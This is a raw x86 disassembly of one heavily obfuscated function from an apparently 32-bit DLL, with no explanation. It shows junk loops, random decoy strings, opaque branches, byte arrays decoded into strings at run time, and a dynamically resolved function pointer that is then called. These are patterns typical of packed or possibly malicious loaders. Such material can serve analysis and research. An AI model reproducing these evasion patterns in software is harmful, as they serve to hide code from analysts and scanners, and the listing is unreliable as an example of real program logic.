mov dword [ebp - 0x24], 0
jmp 0x10024b2b
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jg 0x10024e2b
mov dword [ebp - 0x20], 0x31551da6
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x44], 0x33147f59
mov dword [ebp - 0x20], 3
jmp 0x10024b5d
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x10024ded
mov dword [ebp - 0x2b0], 0xfffffff9
push dword [ebp - 0x20]
lea ecx, [ebp - 0x210]
call fcn.10001510
cmp dword [eax], 0
jne 0x10024bdd
mov eax, dword [ebp - 0x134]
neg eax
mov ecx, dword [ebp - 0x134]
dec ecx
mov dword [ebp - 0x134], ecx
test eax, eax
je 0x10024bd4
push dword [ebp - 0x24]
lea ecx, [ebp - 0x210]
call fcn.10001510
mov dword [ebp - 0x15c], eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x210]
call fcn.10001510
mov ecx, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x15c]
cmp dword [eax], 0
jne 0x10024bdd
and dword [ebp - 0x184], 0
jmp 0x10024be7
mov dword [ebp - 0x184], 1
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x458], eax
push 0
lea ecx, [ebp - 0x12c]
call fcn.10001510
push 0
lea ecx, [ebp - 0x12c]
call fcn.10001510
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov esi, dword [ebp - 0x44]
push 0
lea ecx, [ebp - 0x12c]
call fcn.10001510
cmp esi, dword [eax]
je 0x10024c2f
mov dword [ebp - 0x164], 1
jmp 0x10024c36
and dword [ebp - 0x164], 0
cmp dword [ebp - 0x164], 0xd580090a
jae 0x10024c51
cmp dword [ebp - 0x24], 0
jne 0x10024c51
and dword [ebp - 0x318], 0
jmp 0x10024c5b
mov dword [ebp - 0x318], 1
push 0
lea ecx, [ebp - 0x12c]
call fcn.10001510
cmp dword [eax], 0x6095
jg 0x10024c7c
mov dword [ebp - 0x16c], 1
jmp 0x10024c83
and dword [ebp - 0x16c], 0
push 0
lea ecx, [ebp - 0x12c]
call fcn.10001510
mov ecx, dword [ebp - 0x16c]
cmp ecx, dword [eax]
jle 0x10024ca6
mov dword [ebp - 0x174], 1
jmp 0x10024cad
and dword [ebp - 0x174], 0
mov eax, dword [ebp - 0x2b0]
cmp dword [ebp - 0x174], eax
je 0x10024cc8
xor eax, eax
jne 0x10024cc8
and dword [ebp - 0x17c], 0
jmp 0x10024cd2
mov dword [ebp - 0x17c], 1
push 0
lea ecx, [ebp - 0x12c]
call fcn.10001510
mov ecx, dword [ebp - 0x17c]
cmp ecx, dword [eax]
jle 0x10024cf5
mov dword [ebp - 0x18c], 1
jmp 0x10024cfc
and dword [ebp - 0x18c], 0
mov eax, dword [ebp - 0x184]
cmp eax, dword [ebp - 0x18c]
jge 0x10024d16
mov dword [ebp - 0x350], 1
jmp 0x10024d1d
and dword [ebp - 0x350], 0
push 0
lea ecx, [ebp - 0x12c]
call fcn.10001510
cmp dword [eax], 0x3a34071e
jge 0x10024d3e
mov dword [ebp - 0x194], 1
jmp 0x10024d45
and dword [ebp - 0x194], 0
mov eax, dword [ebp - 0x194]
sub eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x20]
test eax, eax
je 0x10024d6f
mov byte [ebp - 0x29], 0
push 1
push 0x1dc4
lea eax, [ebp - 0x29]
push eax
call fcn.10018096
add esp, 0xc
jmp 0x10024de8
mov dword [ebp - 0x44], 3
jmp 0x10024d7f
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jl 0x10024de8
mov byte [ebp - 0x2a], 0
push 0x2806
lea eax, [ebp - 0x2a]
push eax
push 0x5ca6
push 0x57f1
push 0x3fb2
push 0x1e90
push 1
push 0x3a92
push 0
push 0x5d13
push 0x3cf8
push 0x21c
push 0xe86
push 1
push 0x753a
push 0xfff
push 0x6218
push 0x1972
push 0x2f82
call fcn.1001b79b
add esp, 0x4c
jmp 0x10024d78
jmp 0x10024b56
mov byte [ebp - 0x2f], 0
push 0x50c0
push 0x7e02
push 0x6799
push 0x7647
push 1
push 1
push 0x394f
lea eax, [ebp - 0x2f]
push eax
push 1
push 0x1b09
push 0x7c94
call fcn.1001814c
add esp, 0x2c
jmp 0x10024b24
push 0x69a3
push 1
push 0x645f
push 1
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x3cfc
lea eax, [ebp - 0x2bc]
push eax
call fcn.10018b9e
add esp, 0x24
jmp 0x10024ad0
mov byte [ebp - 0x2b], 0
lea eax, [ebp - 0x2b]
push eax
push 0x997
push 1
push 1
push 0x1ac6
call fcn.10018d46
add esp, 0x14
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x12c]
call fcn.100014f4
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x210]
call fcn.100014f4
and dword [ebp - 0x4c], 0
lea eax, [ebp - 0x388]
push eax
call fcn.10016029
pop ecx
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x10025768
mov dword [ebp - 0x19c], 0x6db50520
push 1
lea ecx, [ebp - 0x3c4]
call fcn.10001471
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x3c4]
push eax
push 0x51a1
push 1
push 0x575b
lea eax, [ebp - 0x3f0]
push eax
push 1
push 0x547
push 0x64a7
push 1
call fcn.10018e03
add esp, 0x24
push 0x151
push 0
push 1
push 0x15a8
push 0x5421
push 0x35cf
lea eax, [ebp - 0x19c]
push eax
push 0x301c
call fcn.100263e4
add esp, 0x20
push 0x477d
push 0x2914
push 0
lea eax, [ebp - 0x3c4]
push eax
push 0x357b
push 1
push 0x66ad
lea eax, [ebp - 0x19c]
push eax
push 1
call fcn.10018e03
add esp, 0x24
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x3c4]
call fcn.100014f4
cmp dword [0x101a41f8], 0
jne 0x1002574a
mov dword [ebp - 0x234], 0xffffffff
mov dword [ebp - 0x320], 0xfffffff9
mov dword [ebp - 0x21c], 4
mov dword [ebp - 0x218], 0x98f01ba0
mov dword [ebp - 0x224], 1
mov dword [ebp - 0x22c], 0xe1e01b17
mov byte [ebp - 0x2d], 0
lea eax, [ebp - 0x2d]
push eax
push 0x1013
push 0x3cde
push 0x4cc4
push 1
push 1
push 1
push 0x69d8
call fcn.10019073
add esp, 0x20
lea eax, [ebp - 0x320]
push eax
push 0x143c
lea eax, [ebp - 0x218]
push eax
push 0x6bee
push 1
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x224]
push eax
push 0x40a5
push 1
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.100173f7
add esp, 0x2c
mov byte [ebp - 0x88], 7
mov byte [ebp - 0x87], 0xf5
mov byte [ebp - 0x86], 9
mov byte [ebp - 0x85], 0x56
mov byte [ebp - 0x84], 2
mov byte [ebp - 0x83], 0x16
mov byte [ebp - 0x82], 1
mov byte [ebp - 0x81], 0x17
mov byte [ebp - 0x80], 5
mov byte [ebp - 0x7f], 9
mov byte [ebp - 0x7e], 4
mov byte [ebp - 0x7d], 9
mov byte [ebp - 0x7c], 0xa
mov byte [ebp - 0x7b], 9
mov byte [ebp - 0x7a], 8
mov byte [ebp - 0x79], 0x42
mov byte [ebp - 0x78], 4
mov byte [ebp - 0x77], 0xfa
mov byte [ebp - 0x76], 0xec
mov byte [ebp - 0x75], 0x5f
mov byte [ebp - 0x74], 0x34
mov byte [ebp - 0x73], 0
mov byte [ebp - 0x72], 0x65
mov byte [ebp - 0x71], 3
mov byte [ebp - 0x70], 0x25
mov byte [ebp - 0x6f], 6
mov byte [ebp - 0x6e], 0x5d
mov byte [ebp - 0x6d], 0xb
mov byte [ebp - 0x6c], 0x5f
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x88]
and eax, 0xc7
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x88]
or ecx, 0xc7
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x88]
mov word [ebp + eax*2 - 0x3e0], cx
mov dword [ebp - 0x14], 2
and dword [ebp - 0xac], 0
jmp 0x1002510f
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1d
jae 0x100252e1
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x88]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x10025159
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x88]
inc eax
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x88]
mov ecx, dword [ebp - 0x14]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x14], eax
jmp 0x10025107
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xac]
movzx eax, byte [ebp + eax - 0x8a]
movzx eax, word [ebp + eax*2 - 0x3e0]
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ebp + ecx - 0x87]
and ecx, eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xac]
movzx eax, byte [ebp + eax - 0x8a]
movzx eax, word [ebp + eax*2 - 0x3e0]
mov edx, dword [ebp - 0x14]
movzx edx, byte [ebp + edx - 0x87]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0x88]
mov word [ebp + eax*2 - 0x3e0], dx
mov dword [ebp - 0x1a4], 0x4485
mov dword [ebp - 0x23c], str.hyyln_gpqewk_yoxf_ysekginx_jjdi_tff_ebzd_qakaokw_mqtaddcz
cmp dword [ebp - 0x1a4], 0x486a
jle 0x10025289
and dword [ebp - 0x9c], 0
jmp 0x100251f4
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x1d13
jge 0x10025258
and dword [ebp - 0xa4], 0
jmp 0x10025216
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x6d9e
jge 0x10025256
mov eax, dword [ebp - 0x9c]
cdq
idiv dword [ebp - 0xa4]
mov eax, edx
cdq
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x2d8], edx
push dword [ebp - 0x2d8]
push dword [ebp - 0x2dc]
mov ecx, 0x10077178
call fcn.1000b0cd
jmp 0x10025209
jmp 0x100251e7
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x2462
push 0x221b
push 0x1754
push 0xc7
push 0x1069
call dword [sym.imp.GDI32.dll_CreateFontA]
and dword [ebp - 0xac], 0
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x1a4], 0x40fb
jge 0x100252b0
mov edx, dword [ebp - 0x23c]
mov ecx, 0x10077178
call fcn.1000ca72
jmp 0x100252cc
mov dword [ebp - 4], 8
jmp 0x100252dc
jmp 0x10025107
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0x3e0], cx
lea eax, [ebp - 0x3e0]
push eax
lea ecx, [ebp - 0x4ac]
call fcn.1000b1e2
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x24c], eax
mov byte [ebp - 4], 0x1a
push dword [ebp - 0x24c]
call fcn.10016029
pop ecx
mov dword [ebp - 0x1b4], eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x4ac]
call fcn.1000145c
and dword [ebp - 0xb4], 0
jmp 0x10025350
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0xd
jae 0x1002536b
xor eax, eax
mov ecx, dword [ebp - 0xb4]
mov word [ebp + ecx*2 - 0x3e0], ax
jmp 0x10025343
cmp dword [ebp - 0x1b4], 0
je 0x1002574a
mov dword [ebp - 0x1ac], 0x234e
mov dword [ebp - 0x25c], str.argdy_lbvv_evjw_nek_npypxvvdo_ytgrtypm_vlqpntk_oexaep_zxifauz_ylddyjlam
cmp dword [ebp - 0x1ac], 0x240b
jle 0x10025471
and dword [ebp - 0xcc], 0
jmp 0x100253b2
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x5df5
jge 0x10025471
and dword [ebp - 0xbc], 0
jmp 0x100253d8
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x73c1
jge 0x1002546c
and dword [ebp - 0xc4], 0
jmp 0x100253fe
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x7838
jge 0x10025467
mov eax, dword [ebp - 0xbc]
and eax, dword [ebp - 0xc4]
xor eax, dword [ebp - 0xcc]
cdq
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], edx
push dword [ebp - 0x2e4]
push dword [ebp - 0x2e8]
lea ecx, [ebp - 0x4c4]
call fcn.10002a51
pop ecx
pop ecx
mov dword [ebp - 0x254], eax
mov ecx, dword [ebp - 0x254]
call fcn.1000b0ad
push eax
call fcn.1004498a
pop ecx
lea ecx, [ebp - 0x4c4]
call fcn.100013f2
jmp 0x100253f1
jmp 0x100253cb
jmp 0x100253a5
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x1ac], 0x226b
jge 0x1002548d
push dword [ebp - 0x25c]
call fcn.1004498a
pop ecx
jmp 0x100254a9
mov dword [ebp - 4], 8
jmp 0x100254b9
mov byte [ebp - 0x68], 6
mov byte [ebp - 0x67], 0x6a
mov byte [ebp - 0x66], 3
mov byte [ebp - 0x65], 6
mov byte [ebp - 0x64], 5
mov byte [ebp - 0x63], 0xd
mov byte [ebp - 0x62], 4
mov byte [ebp - 0x61], 0x25
mov byte [ebp - 0x60], 9
mov byte [ebp - 0x5f], 0x3e
mov byte [ebp - 0x5e], 0xa
mov byte [ebp - 0x5d], 0xb
mov byte [ebp - 0x5c], 1
mov byte [ebp - 0x5b], 0x16
mov byte [ebp - 0x5a], 0xb
mov byte [ebp - 0x59], 0x38
mov byte [ebp - 0x58], 0
mov byte [ebp - 0x57], 0x1b
mov byte [ebp - 0x56], 7
mov byte [ebp - 0x55], 0x3e
mov byte [ebp - 0x54], 2
mov byte [ebp - 0x53], 0x13
mov byte [ebp - 0x52], 8
mov byte [ebp - 0x51], 0
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x68]
and eax, 8
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x68]
or ecx, 8
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x68]
mov byte [ebp + eax - 0x204], cl
mov dword [ebp - 0x1c], 2
and dword [ebp - 0x13c], 0
jmp 0x10025561
mov eax, dword [ebp - 0x1c]
inc eax
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x18
jae 0x100255df
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x13c]
movzx eax, byte [ebp + eax - 0x6a]
movsx eax, byte [ebp + eax - 0x204]
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ebp + ecx - 0x67]
and ecx, eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x13c]
movzx eax, byte [ebp + eax - 0x6a]
movsx eax, byte [ebp + eax - 0x204]
mov edx, dword [ebp - 0x1c]
movzx edx, byte [ebp + edx - 0x67]
and edx, eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x13c]
movzx eax, byte [ebp + eax - 0x6a]
movsx eax, byte [ebp + eax - 0x204]
mov esi, dword [ebp - 0x1c]
movzx ebx, byte [ebp + esi - 0x67]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x68]
mov byte [ebp + eax - 0x204], bl
jmp 0x10025559
xor eax, eax
inc eax
imul eax, eax, 0xc
mov byte [ebp + eax - 0x204], 0
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x48c]
call fcn.10026eaa
mov byte [ebp - 4], 0x1d
and dword [ebp - 0xd4], 0
jmp 0x10025619
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0xd
jae 0x10025632
mov eax, dword [ebp - 0xd4]
mov byte [ebp + eax - 0x204], 0
jmp 0x1002560c
mov dword [ebp - 0x1bc], 0x1f4e
mov dword [ebp - 0x264], str.deln_maf_ltvvi_pjg_dblpntv_roh_gmzfxzns_ytrzks_npbbcw_edy
cmp dword [ebp - 0x1bc], 0x21fc
jle 0x100256d1
and dword [ebp - 0xdc], 0
jmp 0x10025668
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x35d7
jge 0x100256c9
and dword [ebp - 0xe4], 0
jmp 0x1002568a
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x78ad
jge 0x100256c7
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0xe4]
cdq
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2f0], edx
push dword [ebp - 0x2f0]
push dword [ebp - 0x2f4]
mov ecx, 0x10077178
call fcn.1000b0cd
jmp 0x1002567d
jmp 0x1002565b
push 0
call dword [sym.imp.USER32.dll_CharNextW]
push 0
push 0
lea eax, [ebp - 0x48c]
push eax
push dword [ebp - 0x1b4]
call fcn.100216d5
add esp, 0x10
mov dword [0x101a41f8], eax
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x1bc], 0x1f0a
jge 0x1002570f
mov edx, dword [ebp - 0x264]
mov ecx, 0x10077178
call fcn.1000ca72
jmp 0x1002572b
mov dword [ebp - 4], 0x1d
jmp 0x1002573b
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x48c]
call fcn.100110b7
cmp dword [0x101a41f8], 0
je 0x10025768
mov ecx, dword [ebp - 0x1c4]
call fcn.10001466
push eax
call dword [0x101a41f8]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0xf4], 0xffffffff
mov dword [ebp - 0x8c], 0
jmp 0x1002578b
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x100257a7
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x494], 0xfffffffd
jmp 0x1002577e
mov dword [ebp - 0xf4], 0
jmp 0x100257c0
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jg 0x100257e3
push 1
push 1
push 0x106a
push 0x58f9
push 1
call fcn.10019474
add esp, 0x14
jmp 0x100257b3
push 0x4bf
push 0x2da8
push 0x7156
lea eax, [ebp - 0x4c]
push eax
push 0x63fe
push 0x101a41f4
push 0x7914
push 1
push 0x71c0
push 0x7f7e
push 1
push 0x101a565c
lea eax, [ebp - 0x1cc]
push eax
push 0x47ac
push 1
call fcn.10019633
add esp, 0x3c
push 2
lea ecx, [ebp - 0x41c]
call fcn.10001471
mov byte [ebp - 4], 0x20
push 1
push 0x517e
lea eax, [ebp - 0x41c]
push eax
push 0x4f33
lea eax, [ebp - 0x50]
push eax
push 1
push 0
push 0x5017
call fcn.1001b5ab
add esp, 0x20
mov dword [ebp - 0x50], 0
jmp 0x10025877
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x1002588d
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xfc], 0x490c4d8e
jmp 0x10025870
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xfc], 1
jmp 0x100258bb
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xfc]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xfc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xfc], 0
jl 0x10025942
push 4
lea ecx, [ebp - 0x3b8]
call fcn.10001471
mov byte [ebp - 4], 0x21
push 0
push 0x7d2c
lea eax, [ebp - 0x44c]
push eax
push 1
push 0x5466
lea eax, [ebp - 0x3b8]
push eax
push 1
push 0x2ed8
call fcn.10017c61
add esp, 0x20
push 0x3592
push 0xc62
push 0x2cb9
push 0x6184
push 1
lea eax, [ebp - 0x3b8]
push eax
push 1
call fcn.10019d1c
add esp, 0x1c
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x3b8]
call fcn.100014f4
jmp 0x100258a0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x41c]
call fcn.100014f4
mov eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x4c]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x388]
call fcn.1000145c
jmp 0x100259ab
jmp 0x100259ab
mov eax, dword [ebp + 8]
mov dword [ebp - 0x26c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x274], eax
push 0x5ac4
push 0
push dword [ebp - 0x26c]
push dword [ebp - 0x274]
call fcn.10019cf7
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret